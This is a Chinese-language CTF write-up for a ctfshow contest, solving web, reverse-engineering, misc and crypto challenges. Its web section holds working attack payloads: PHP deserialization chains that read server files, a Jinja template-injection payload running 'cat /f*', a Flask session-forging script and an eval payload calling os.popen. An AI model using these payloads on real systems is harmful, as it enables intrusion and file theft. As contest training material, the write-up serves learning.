本次比赛除了pwn其他方向都试了试,最后取得的成绩还不错,记录下来供师傅们一起学习
web
easy_signin
题目打开是这样,很像buu上面的一道webdog,一眼base64.解密一下(face.png)
看看能不能读到源码,首先就是index.php加密(aW5kZXgucGhw)
那就看看源码
似乎又是base64,解码果然是这样。
被遗忘的反序列化
整体来看,我需要执行到aaa(),里面的参数经过cipher加密后校验可以执行命令。很明显cipher函数是在check.php里面定义的,(跟我之前出题的一样,属实难绷
随后的这里就很明显了,检查key之后提供读取文件的地址。
题目到现在其实还有一个方向没用,那就是开头的那句话提示,有一个txt文件,但是我用dirsearch和御剑都扫了一遍还是没有出来,因此换了一个思路。通过这个原生类反序列来读文件,他还提供了输出。
我使用的是FilesystemIterator
链子:
$a=new w_wuw_w(); $b=new gBoBg(); $b->coos="SplFileobject"; $b->file="php://filter/convert.base64-encode/resource=check.php"; $a->key=$b; echo serialize($a);
这里需要从请求头下手,这里加上反序列化
payload:AAAAAA: O:7:”w_wuw_w”:3:{s:3:”aaa”;N;s:3:”key”;O:5:”gBoBg”:4:{s:4:”name”;N;s:4:”file”;s:9:”check.php”;s:4:”coos”;r:1;s:11:” gBoBg eeee”;s:3:”-_-“;}s:4:”file”;N;}
然后读到了check.php的源码
<?php function cipher($str) { if(strlen($str)>10000){ exit(-1); } $charset = "qwertyuiopasdfghjklzxcvbnm123456789"; $shift = 4; $shifted = ""; for ($i = 0; $i < strlen($str); $i++) { $char = $str[$i]; $pos = strpos($charset, $char); • if ($pos !== false) { • $new_pos = ($pos - $shift + strlen($charset)) % strlen($charset); • $shifted .= $charset[$new_pos]; • } else { • $shifted .= $char; • } } return $shifted; }
加密思路就是根据charset进行rot31的变换,我们再rot4就转化换成原来的字符串了。
解密后get=fe1ka1ele1efp
再改一下链子
$a=new w_wuw_w(); $a2=new w_wuw_w(); $b=new gBoBg(); $b->coos=$a; $b->file='check.php'; $a->key=$b; echo serialize($a);
payload:AAAAAA: O:7:”w_wuw_w”:3:{s:3:”aaa”;N;s:3:”key”;O:5:”gBoBg”:4:{s:4:”name”;N;s:4:”file”;s:9:”check.php”;s:4:”coos”;r:1;s:11:” gBoBg eeee”;s:3:”-_-“;}s:4:”file”;N;}
然后代码执行就欧克
想不到居然提示是h1nt.txt。麻了
easy_ssti
明显是让我们f12
噢,看似给了源码。下来看看情况。
很简单的一个东西。给出来两个路由,从hello进去对name传参,然后是一个ssti的渲染。
先解析一下
然后对name传参,payload:/hello/<name>{{request}}
很好,没有禁用request,那就用cookie去打一下
payload:{{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}
Cookie: a=globals;b=os;c=cat /f*
easy_flask
登录进去是这样的界面
先注册一个账户看看。
登录之后是这样,习惯性翻一下源代码
似乎是要加一个权限,那就抓包看看能不能越权
给了一个session,不知道是不是要伪造session继续,看看其他功能。
发现一个show页面,居然还泄露了密钥,那就不用多想了。肯定是session伪造,脚本解一下session。
这里我使用p神写的脚本
""" Flask Session Cookie Decoder/Encoder """ __author__ = 'Wilson Sumanang, Alexandre ZANNI' # standard imports import sys import zlib from itsdangerous import base64_decode import ast # Abstract Base Classes (PEP 3119) if sys.version_info[0] < 3: # < 3.0 raise Exception('Must be using at least Python 3') elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4 from abc import ABCMeta, abstractmethod else: # > 3.4 from abc import ABC, abstractmethod # Lib for argument parsing import argparse # external Imports from flask.sessions import SecureCookieSessionInterface class MockApp(object): • def __init__(self, secret_key): • self.secret_key = secret_key if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4 class FSCM(metaclass=ABCMeta): def encode(secret_key, session_cookie_structure): """ Encode a Flask session cookie """ try: app = MockApp(secret_key) • session_cookie_structure = dict(ast.literal_eval(session_cookie_structure)) • si = SecureCookieSessionInterface() • s = si.get_signing_serializer(app) • return s.dumps(session_cookie_structure) • except Exception as e: • return "[Encoding error] {}".format(e) • raise e • def decode(session_cookie_value, secret_key=None): • """ Decode a Flask cookie """ • try: • if(secret_key==None): • compressed = False • payload = session_cookie_value • if payload.startswith('.'): • compressed = True • payload = payload[1:] • data = payload.split(".")[0] • data = base64_decode(data) • if compressed: • data = zlib.decompress(data) • return data • else: • app = MockApp(secret_key) • si = SecureCookieSessionInterface() • s = si.get_signing_serializer(app) • return s.loads(session_cookie_value) • except Exception as e: • return "[Decoding error] {}".format(e) • raise e else: # > 3.4 • class FSCM(ABC): • def encode(secret_key, session_cookie_structure): • """ Encode a Flask session cookie """ • try: • app = MockApp(secret_key) • session_cookie_structure = dict(ast.literal_eval(session_cookie_structure)) • si = SecureCookieSessionInterface() • s = si.get_signing_serializer(app) • return s.dumps(session_cookie_structure) • except Exception as e: • return "[Encoding error] {}".format(e) • raise e • def decode(session_cookie_value, secret_key=None): • """ Decode a Flask cookie """ • try: • if(secret_key==None): • compressed = False • payload = session_cookie_value • if payload.startswith('.'): • compressed = True • payload = payload[1:] • data = payload.split(".")[0] • data = base64_decode(data) • if compressed: • data = zlib.decompress(data) • return data • else: • app = MockApp(secret_key) • si = SecureCookieSessionInterface() • s = si.get_signing_serializer(app) • return s.loads(session_cookie_value) • except Exception as e: • return "[Decoding error] {}".format(e) • raise e if __name__ == "__main__": # Args are only relevant for __main__ usage ## Description for help • parser = argparse.ArgumentParser( • description='Flask Session Cookie Decoder/Encoder', • epilog="Author : Wilson Sumanang, Alexandre ZANNI") ## prepare sub commands • subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand') ## create the parser for the encode command • parser_encode = subparsers.add_parser('encode', help='encode') • parser_encode.add_argument('-s', '--secret-key', metavar='<string>', • help='Secret key', required=True) • parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>', • help='Session cookie structure', required=True) ## create the parser for the decode command • parser_decode = subparsers.add_parser('decode', help='decode') • parser_decode.add_argument('-s', '--secret-key', metavar='<string>', • help='Secret key', required=False) • parser_decode.add_argument('-c', '--cookie-value', metavar='<string>', • help='Session cookie value', required=True) ## get args • args = parser.parse_args() ## find the option chosen • if(args.subcommand == 'encode'): • if(args.secret_key is not None and args.cookie_structure is not None): • print(FSCM.encode(args.secret_key, args.cookie_structure)) • elif(args.subcommand == 'decode'): • if(args.secret_key is not None and args.cookie_value is not None): • print(FSCM.decode(args.cookie_value,args.secret_key)) • elif(args.cookie_value is not None): • print(FSCM.decode(args.cookie_value))
在powshell解码:python 1.py decode -s “S3cr3tK3y” -c “eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6ImEifQ.ZCfl0A.0g0-fLWpvTLO_z0VxzVBJyZ3GuQ”
加密:python 1.py encode -s “S3cr3tK3y” -t “{‘loggedin’: True, ‘role’: ‘admin’, ‘username’: ‘a’}”
然后用session登录。
发现获得一个下载权限,抓包看看是不是任意文件下载漏洞
额,看看app.py有什么
我还可以登录admin账户
看到这里已经很清晰了,就是一个在hello路由下进行传参,参数会被eval执行可以用python的一些魔法方法
payload:/hello/?eval=import(“os”).popen(“ls /”).read()
RE
easy_pyc
这是一个pyc文件,使用常用的一个工具uncompyle6,将pyc文件转成py文件。
打开文件如下:
print 'Welcome to CTFshow Re!' print 'your flag is here!' flag = '' l = len(flag) for i in range(l): num = ((flag[i] + i) % 114514 + 114514) % 114514 code += chr(num) code = map(ord, code) for i in range(l - 4 + 1): code[i] = code[i] ^ code[(i + 1)] print code code = ['\x16', '\x1d', '\x1e', '\x1a', '\x18', '\t', b'\xff', b'\xd0', ',', '\x03', '\x02', '\x14', '8', 'm', '\x01', 'C', 'D', b'\xbd', b'\xf7', '*', '\r', b'\xda', b'\xf9', '\x1c', '&', '5', "'", b'\xda', b'\xd4', b'\xd1', '\x0b', b'\xc7', b'\xc7', '\x1a', b'\x90', 'D', b'\xa1']
进行分析,很简单的一个异或加密,
首先处理code数组转换成十六进制的问题
hex_array = [ord(c) if isinstance(c, str) else c[0] for c in code] print(hex_array)
exp:
code1 = ['\x16', '\x1d', '\x1e', '\x1a', '\x18', '\t', b'\xff', b'\xd0', ',', '\x03', '\x02', '\x14', '8', 'm', '\x01', 'C', 'D', b'\xbd', b'\xf7', '*', '\r', b'\xda', b'\xf9', '\x1c', '&', '5', "'", b'\xda', b'\xd4', b'\xd1', '\x0b', b'\xc7', b'\xc7', '\x1a', b'\x90', 'D', b'\xa1'] code = [ord(c) if isinstance(c, str) else c[0] for c in code1] l=len(code) for i in range(l-3): code[l-4-i]^=code[l-3-i] flag="" for i in range(l): code[i]-=i flag+=chr(code[i]) print(flag)
获得flag:
ctfshow{Just_F00l’s_D@y_R3_Ch3ck-in!}
easy_cc
key=”key123″
这里可以看出将字符转成十六进制拼接在一起。
0x08,0x11,0x1f,0x42,0x5a,0x5c,0x1c,0x1e,0x1a,0x52,0x6d,0x41,0x0e,0x3a,0x1e,0x5e,0x5d,0x57,0x34,0x02,0x16,0x5e,0x56,0x12,0x16。
接下来是对key进行一个异或操作。
exp:
x=[0x08,0x11,0x1f,0x42,0x5a,0x5c,0x1c,0x1e,0x1a,0x52,0x6d,0x41,0x0e,0x3a,0x1e,0x5e,0x5d,0x57,0x34,0x02,0x16,0x5e,0x56,0x12,0x16] key="key123" flag="" for i in range(len(x)): x[i]^=ord(key[i%6]) flag+=chr(x[i]) print(flag)
flag:ctfshow{cc_re_good_good!}
MISC
奇怪的压缩包
下载附件得到 “奇怪的压缩包.zip”
打开要求输入密码,两个方法
要么找密码,要么伪加密,这里先试试伪加密的解法
放进zipcenop里面执行一下,确认是伪加密,打开得到black.png
图片里出现“半个”字体,盲猜改宽高,修改一下得到完整图片得到一串字符串
拿去base64,得到愚人节快乐!!很明显不是flag
010打开black.png,看到里面有个flag.png,用binwalk把他分出来
打开图片但是只有半个flag,应该是修改了宽高
用crc校验后发现宽高确实修改过,那就在上面改回去,得到完整图片。
哇库哇库2
先算key,压缩包的密码 key = Σ(1/(n!)),这是一个无穷级数,它的和等于 e,即自然常数。e 约等于 2.718281828459045,四舍五入保留十二位有效数字后,结果为2.71828182846
解码后文章内容如下
观察最后面的文字有。!?,符合ook加密
使用脚本把文本内容去掉
`var text = File.ReadAllLines(“C:\Users\20755\Desktop\111.txt”); string str = “”; foreach(var line in text) { if (line.EndsWith(“。”)) { str += “Ook. “; } if (line.EndsWith(“!”)) { str += “Ook! “; } if (line.EndsWith(“?”)) { str += “Ook? “; } }
File.WriteAllText(“C:\Users\20755\Desktop\result.txt”, str);`
替换得到
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook.
解码得到
ctfshow{4niya_KaWa1i!}
O:7:”w_wuw_w”:3:{s:3:”aaa”;N;s:3:”key”;O:5:”gBoBg”:4:{s:4:”name”;i:1;s:4:”file”;s:52:”php://filter/convert.base64-encode/resource=flag.txt”;s:4:”coos”;s:13:”SplFileobject”;s:11:” gBoBg eeee”;s:3:”-_-“;}s:4:”file”;N;}
O:7:”w_wuw_w”:3:{s:3:”aaa”;N;s:3:”key”;O:5:”gBoBg”:4:{s:4:”name”;i:1;s:4:”file”;s:53:”php://filter/convert.base64-encode/resource=check.php”;s:4:”coos”;s:13:”SplFileobject”;s:11:” gBoBg eeee”;s:3:”-_-“;}s:4:”file”;N;}
O:7:”w_wuw_w”:3:{s:3:”aaa”;N;s:3:”key”;O:5:”gBoBg”:4:{s:4:”name”;N;s:4:”file”;s:9:”check.php”;s:4:”coos”;r:1;s:11:” gBoBg eeee”;s:3:”-_-“;}s:4:”file”;N;}
琴柳感
打开题目发现文件里四句话重复,可以视作base4,排列组合一下可以得到flag
我必须站在这里。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你是否想过……朋友不再是朋友,家园不再是家园。
随手搓一个脚本
\# random base4 s1 = '012303020101032301120133030303130312011001310103012103000123010001310103031201100131010300330310011001210300031101200110031001100033031101200110011301000132011001200131031001100132011001200131012101200330' l1 = [['00', '01', '10', '11'], ['01', '00', '10', '11'], ['10', '01', '00', '11'], ['11', '01', '10', '00'], ['00', '01', '11', '10'], ['01', '00', '11', '10'], ['11', '01', '00', '10'], ['10', '01', '11', '00'], ['00', '10', '01', '11'], ['10', '00', '01', '11'], ['01', '10', '00', '11'], ['11', '10', '01', '00']] for i in l1: stemp = '' for j in s1: stemp += i[int(j)] print(stemp)
crypto
easy_base
密文:4C455A5645334C44474A55484D5A42544F5132574956525A50464E464F4E4C474D4656454D334359474A554751564B4949493255535532464E42544643504A35
base家族一把梭,三次解码
大牛的密码
没什么说的,直接上exp
S_BOX = [9, 31, 32, 38, 20, 1, 22, 4, 8, 2, 11, 21, 7, 18, 46, 23, 34, 3, 19, 12, 45, 30, 27, 37, 5, 47, 28, 36, 0, 43, 39, 10, 29, 14, 40, 24, 33, 16, 17, 6, 42, 15, 26, 41, 44, 25, 35, 13] c = [99, 111, 102, 11, 107, 49, 11, 53, 121, 48, 114, 117, 11, 95, 112, 95, 109, 115, 11, 95, 101, 95, 119, 117, 79, 123, 111, 48, 110, 95, 121, 116, 121, 125, 116, 11, 119, 11, 97, 67, 11, 11, 11, 11, 11, 99, 110, 104] BLOCK=16 from Crypto.Util.Padding import unpad from Crypto.Util.number import * from Crypto.Util.Padding import unpad from random import shuffle def s_box(a): box=[i for i in range(a)] shuffle(box) return box BLOCK = 16 S_BOX = [9, 31, 32, 38, 20, 1, 22, 4, 8, 2, 11, 21, 7, 18, 46, 23, 34, 3, 19, 12, 45, 30, 27, 37, 5, 47, 28, 36, 0, 43, 39, 10, 29, 14, 40, 24, 33, 16, 17, 6, 42, 15, 26, 41, 44, 25, 35, 13] c = [99, 111, 102, 11, 107, 49, 11, 53, 121, 48, 114, 117, 11, 95, 112, 95, 109, 115, 11, 95, 101, 95, 119, 117, 79, 123, 111, 48, 110, 95, 121, 116, 121, 125, 116, 11, 119, 11, 97, 67, 11, 11, 11, 11, 11, 99, 110, 104] \# reverse the operations of encrypt2 def decrypt2(m): for i in range(15, -1, -1): temp = [0] * 48 for j in range(48): temp[S_BOX[j]] = m[j] m = temp return m \# reverse the operations of encrypt1 def decrypt1(m): dec = [m[i:i+BLOCK] for i in range(0, len(m), BLOCK)] for i in dec: for j in range(BLOCK-1, -1, -1): aa = j*7 % BLOCK swap(i[j], i[aa]) return b''.join(dec) \# swap the values of two variables def swap(a, b): tmp = a a = b b = tmp \# convert the ciphertext from list of integers to bytes c = bytes(c) \# c = bytes(encrypt2(m)) \# decrypt the ciphertext m = bytearray(c) m = bytes(decrypt2(m)) m = decrypt1(m) \# unpad the plaintext and print the flag flag = unpad(m, BLOCK) print(flag.decode()) #ctfshow{y0u_c5n_make_y0u1_own_CryptO}
easy_xor
p高位泄露、、、